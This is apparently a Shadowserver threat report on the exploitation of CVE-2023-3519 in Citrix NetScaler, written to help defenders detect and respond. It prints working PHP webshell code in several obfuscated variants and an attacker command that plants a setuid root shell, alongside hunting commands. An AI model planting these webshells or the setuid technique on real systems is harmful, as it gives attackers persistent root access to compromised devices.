Introduction
The Shadowserver Foundation and trusted partners have observed three different malicious campaigns that have exploited CVE-2023-3519, a code injection vulnerability rated CVSS 9.8 critical in Citrix NetScaler ADC and NetScaler Gateway. The summary below is based on collaboration with the individual compromised organizations, as well as their commercial incident response teams. All timestamps in this write-up are in UTC timezone, and they have all been slightly adjusted to not disclose the actual times. Please ensure you follow the detection and hunting steps provided for signs of possible compromise and webshell presence.
Citrix released an advisory along with a patch on July 18th 2023 – CTX561482 Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-3519, CVE-2023-3466, CVE-2023-3467.
Initial CVE-2023-3519 attacks were well documented by CISA in their Cybersecurity Advisory Threat Actors Exploiting Citrix CVE-2023-3519 to Implant Webshells on July 20th 2023.
To assist National CSIRTs and system defenders in identifying which organizations and Citrix instances they should focus on and investigate/remediate, Shadowserver provides – amongst others – the Device Identification report and the Vulnerable HTTP report. These proved very useful as Partners could use the Shadowserver Device Identification report to look for Citrix NetScaler/Gateway devices very rapidly in their constituency. The Shadowserver Vulnerable HTTP report was expanded quickly to tag vulnerable Citrix NetScaler/Gateway devices with “cve-2023-3519” starting July 20th, which enabled Partners to quickly gain insight into which devices needed particular attention. As a result of the work documented in this summary, Shadowserver have reported over 600 hosts that have webshells installed through the Shadowserver Compromised Website report. The real number of compromised/webshelled hosts will be significantly higher, as any host patched/updated after July 20th will not be included in the report.
The first details about this campaign were shared privately within the Shadowserver Alliance at the start of the week of July 24th. If your organization is interested in joining the Shadowserver Alliance, please have a look here. And as always, if you do not already receive them, please subscribe to our free daily reports for your network.
Unpatched and Compromised Devices (2023-08-05)
You can track various observations on the incident on the Shadowserver Dashboard:
- Unpatched Citrix instances vulnerable to CVE-2023-3519
- Citrix instances with webshells installed likely as a result of CVE-2023-3519 compromise
- CVE-2023-3519 exploitation attempts as tracked by Shadowserver honeypot sensors
Figure 1: Unpatched Citrix NetScaler/Gateway (vulnerable to CVE-2023-3519) by unique IP – 2023-08-05
As of 2023-08-05, we still observe nearly 7000 vulnerable instances worldwide (by unique IP).
Figure 2: Patch progress per continent of CVE-2023-3519
Figure 3: Webshell cleanup progress per continent.
CVE-2023-3519 in the Logs
Exploitation of CVE-2023-3519 is not logged in the NetScaler application access logs.
The exploit was observed being sent to the endpoint /gwtest/formssso?event=start&target=(...).
In some cases we know that log events containing the string GWTEST were logged in /var/log/ns.log.
Note: This log will be rotated/lost after 24 hours unless centralized/custom logging is configured, as by default it is rotated every hour, and only 25 rotations are kept.
Example:
Jul 20 21:00:00 [local0.info] [redacted IP] 07/20/2023:21:00:00 GMT netscalerHostname 0-PPE-0 : default SSLVPN Message 6629379 0 : "GWTEST FORMS SSO: Parse=0; URLLEN=1066; Event: start=0x10c13980b, type=1; Target: start=0x10c139817, size=1030, url="
Jul 20 21:00:00 [local0.info] [redacted IP] 07/20/2023:21:00:00 GMT netscalerHostname 0-PPE-0 : default SSLVPN Message 6629380 0 : "ns_addrm_homepagedbs_svc : Returning because homepagelen 0 nsconf_read_end 1 "
Jul 20 21:00:00 [local0.info] [redacted IP] 07/20/2023:21:00:00 GMT netscalerHostname 0-PPE-0 : default SSLVPN Message 6629381 0 : "GWTEST: Error creating server 0"
Campaign #1
Date/Time: Evening July 20th, 2023
A PHP webshell was deployed on the compromised device filesystem as /var/netscaler/logon/LogonPoint/uiareas/[redacted].php. It was exposed by the web application as /logon/LogonPoint/uiareas/[redacted].php. The webshell filename would appear to be a name that could indicate a common PHP file (i.e. it was not necessarily a completely randomized filename that stuck out like a sore thumb).
Note: Files located in /var/netscaler/logon/LogonPoint/uiareas/ will survive patching/upgrading, as will files located directly in /var/.
The contents of the webshell were as follows:
<?php http_response_code(201); @eval($_POST[5]);
Note: A closing ?> was not included in the shell. After some research, the explanation was found in the PHP official documentation:
“If a file contains only PHP code, it is preferable to omit the PHP closing tag at the end of the file. This prevents accidental whitespace or new lines being added after the PHP closing tag, which may cause unwanted effects because PHP will start output buffering when there is no intention from the programmer to send any output at that point in the script.”
The webshell had the correct timestamp for the time of creation.
We observed three HTTP request entries logged against the webshell in the httpaccess.log, i.e. 3 commands were executed:
[redacted src IP] -> [redacted dest IP] - - [20/Jul/2023:21:01:00 +0000] [57348] "POST /logon/LogonPoint/uiareas/[redacted].php HTTP/1.1" 201 57 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" "Time: 5564 microsecs"
[redacted src IP] -> [redacted dest IP] - - [20/Jul/2023:21:01:10 +0000] [57348] "POST /logon/LogonPoint/uiareas/[redacted].php HTTP/1.1" 201 8419 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" "Time: 5040 microsecs"
[redacted src IP] -> [redacted dest IP] - - [20/Jul/2023:21:01:46 +0000] [57182] "POST /logon/LogonPoint/uiareas/[redacted].php HTTP/1.1" 201 9948 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" "Time: 4524 microsecs"
No activity was observed afterwards.
The source IP address for the CVE-2023-3519 exploitation and webshell command execution was most likely a ProtonVPN exit node.
Campaign #2
Date/Time: July 20th, 2023 14:00 UTC to July 21st, 2023 01:00 UTC
The exploit copied /bin/sh to /var/nss and used chmod +s to set the suid bit, i.e. enabling the attacker to execute commands as root via the web shell. In addition, a PHP webshell was deployed to the compromised device filesystem as /netscaler/ns_gui/epa/scripts/[redacted]/[redacted].php. It was exposed in the web application as /epa/scripts/[redacted]/[redacted].php.
The code that did this was as follows (the command was extracted through memory analysis):
cp /bin/sh /var/nss && chmod +s /var/nss && mkdir /netscaler/ns_gui/epa/scripts/[redacted] ; echo '<?php http_response_code(404); @eval($_POST[redacted]);' > /netscaler/ns_gui/epa/scripts/[redacted]/[redacted].php
The content of [redacted].php thus became:
<?php http_response_code(404); @eval($_POST[redacted]);
This was immediately followed by two HTTP requests to [redacted].php, which appeared in /var/log/httpaccess-vpn.log as:
127.0.0.2 - - [20/Jul/2023:18:00:00 +0000] [43491] "POST /epa/scripts/[redacted]/[redacted].php HTTP/1.1" 404 560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" "Time: 1180557 microsecs"
127.0.0.2 - - [20/Jul/2023:18:00:00 +0000] [43491] "POST /epa/scripts/[redacted]/[redacted].php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" "Time: 99394 microsecs"
The first command returned 560 bytes, while the second command returned 0 bytes. This behavior was observed across all organizations that had sufficient logs from compromised devices.
At the same time as the two HTTP POST requests, a new webshell was created. The new webshell and the file in /var/nss – which was renamed to a random name under /var e.g. /var/randomname – were time stamped back in time, close to the application installation/update date (referred to as “timestomping”). The webshell [redacted].php did not have a modified timestamp, and was automatically deleted when the Citrix NetScaler software was updated to a newer version.
The new webshell was placed in the folder /netscaler/logon/LogonPoint/uiareas/linux or /netscaler/logon/LogonPoint/uiareas/mac. The name of the webshell is most likely taken from:
Examples of such webshells:
<?php
http_response_code(404);
@eval(str_rot13($_POST['variable']));
<?php
http_response_code(404);
eval(base64_decode($_POST['variable']));
<?php
http_response_code(404);
$filtervar = $_POST['variable1'];
$arrayvar = array($_POST['variable2']);
@array_filter($arrayvar, $filtervar);
<?php
http_response_code(404);
@$_POST['variable1']($_POST['variable2']);
Note that the variable names of the webshells will vary per instance.
With the exception of one incident where 3 commands were sent to this second stage webshell, this new webshell was not used by the attacker yet at the time of detection.
No activity was detected afterwards.
Campaign #3
Date/Time: July 31st, 2023
The exploit deployed a PHP webshell to /var/vpn/theme/.theme.php on the compromised device filesystem, exposed as /vpn/theme/.theme.php in the web application.
The contents of the webshell were as follows:
<?php http_response_code(202);@eval($_POST["_theme"]);
This first webshell was used to install /netscaler/ns_gui/vpns/theme/default/[redacted].php on the filesystem, which is exposed as /vpn/theme/[redacted].php in the web application. The filename consisted of what appears to be random upper and lowercase letters. The contents of that second PHP webshell were as follows:
<?php http_response_code(202);@eval($_POST["[redacted]"]); ?>
In addition, we observe that /bin/sh had the setuid bit set, which it normally does not have. The setuid bit was set at the same time as the first exploit was observed.
Time stomping was not done to this webshell.
Two commands were run as HTTP POST requests to the /vpn/theme/.theme.php webshell. The first command returned 5 bytes (potentially ‘whoami’), the second returned 0 bytes.
One additional command was run as an HTTP POST request to the /vpn/theme/[redacted].php webshell. This returned 27055 bytes. It is unknown what this command was, but it could potentially have been a listing of information about/from the compromised system.
The /vpn/theme/.theme.php webshell appeared to be removed shortly after it was deployed.
Initial exploitation and commands to the dropped webshells appear to come from ExpressVPN endpoint IP addresses.
Detection & Hunting
For detection – preferably, take a snapshot first – and run the following commands in a shell on your NetScaler device (login to cli, type shell):
Look for items that are typical in webshells dropped in web-exposed folders:
fgrep -a -e http_response_code -e '$_POST' -r /var/netscaler/ | fgrep -v -e '/var/netscaler/gui/admin_ui' -e '/netscaler/websocketd' -e '/netscaler/ns_gui/admin_ui'
fgrep -a -e http_response_code -e '$_POST' -r /var/vpn/ | fgrep -v -e '/var/netscaler/gui/admin_ui' -e '/netscaler/websocketd' -e '/netscaler/ns_gui/admin_ui'
fgrep -a -e http_response_code -e '$_POST' -r /netscaler/ | fgrep -v -e '/var/netscaler/gui/admin_ui' -e '/netscaler/websocketd' -e '/netscaler/ns_gui/admin_ui'
Check for PHP files excluding folders that have PHP files from them in the default installation:
find / -type f -name *.php* -not -path "/var/netscaler/gui/admin_ui/*" -not -path "/netscaler/websocketd/*" -not -path "/netscaler/ns_gui/admin_ui/*"
List contents in folders where the dropped webshells are placed. The second command should only return ‘.’ and ‘..’ as well as an overview of the total number of files:
find /var/netscaler/logon/LogonPoint/uiareas/ -type f -not -path "/var/netscaler/logon/LogonPoint/uiareas/Authentication/*" -exec ls -lc {} \;
ls -lac /netscaler/ns_gui/vpns/theme/default/ | egrep -v -e \.gif$ -e \.css$ -e popup$
Search for setuid binaries (binaries that can potentially provide privilege escalation; meaning any user with execute permission on them can execute them with the permissions of the root user):
find / -perm -4000 -user root -exec ls -lc {} \;
The list below is the setuid binaries that will normally be found on a NetScaler system. Any setuid binaries present (except for these files) should be investigated further:
-r-sr-xr-x 1 root wheel 27872 Jul 10 18:24 /netscaler/ping
-r-sr-xr-x 1 root wheel 32656 Jul 10 18:24 /netscaler/ping6
-r-sr-xr-x 1 root wheel 31844 Jul 10 18:24 /netscaler/traceroute
-r-sr-xr-x 1 root wheel 24784 Jul 10 18:24 /netscaler/traceroute6
-r-sr-xr-- 1 root operator 10584 Jul 10 18:09 /sbin/mksnap_ffs
-r-sr-xr-- 2 root operator 15936 Jul 10 18:09 /sbin/shutdown
-r-sr-xr-- 2 root operator 15936 Jul 10 18:09 /sbin/poweroff
-r-sr-xr-x 1 root wheel 34352 Jul 10 18:09 /usr/bin/crontab
-r-sr-xr-x 1 root wheel 11632 Jul 10 18:09 /usr/bin/lock
-r-sr-xr-x 1 root wheel 24552 Jul 10 18:09 /usr/bin/login
-r-sr-xr-x 1 root wheel 9736 Jul 10 18:09 /usr/bin/passwd
-r-sr-xr-x 1 root wheel 16408 Jul 10 18:09 /usr/bin/su
-r-sr-xr-x 1 root wheel 74008 Jul 10 18:09 /usr/libexec/ssh-keysign
Older installations may also have a file named /usr/bin/yppasswd present, without this being cause for alarm.
Find files with a file status change timestamp that matches when the attacker has been active. This can be good to adjust if there are few hits. If you filter out log files (-not -path "/var/log/*") and make sure to filter out the installation/update timestamp, you will have a good starting point for finding files that may have been added by an attacker:
find / -type f -newerct '07/20/2023 14:00 GMT' -not -newerct '07/21/2023 01:00 GMT' -exec ls -lc {} \;
Closing Remarks
If your organization identifies a compromise in your Citrix NetScaler as a result of this campaign, please ensure to initiate your IR (Incident Response) process ASAP. If you do not have the capability in-house, make sure you get help externally.
No matter how you undertake your IR process, if your Citrix NetScaler is compromised, make sure to set up a clean system from scratch, or at the very least backup/restore from a safe snapshot – even if you find all the files identified in one of the campaigns mentioned here.
We expect these webshells to be utilized when the timing suits the attacker. This may also happen after all the initial interest has died down and system administrators/security responders are no longer looking closely at their Citrix devices. Make sure you fix your Citrix device before the attacker does it for you.
With proof-of-concept code now being publicly available, we expect to see a lot more exploitation of these devices.
The Shadowserver Foundation is a non-profit organization with a mission to make the Internet more secure by bringing to light vulnerabilities, malicious activity and emerging threats. As part of the mission, Shadowserver provides free daily threat feeds to 201 National CSIRTs worldwide, covering 175 countries and territories, as well as over 7000 other organizations that have subscribed to the free services.
If you find value in Shadowserver’s work, please consider joining the Shadowserver Alliance to ensure you get information early, priority access to Shadowserver staff and to ensure we can keep providing Reports on your network.
Please contact us if you have any questions.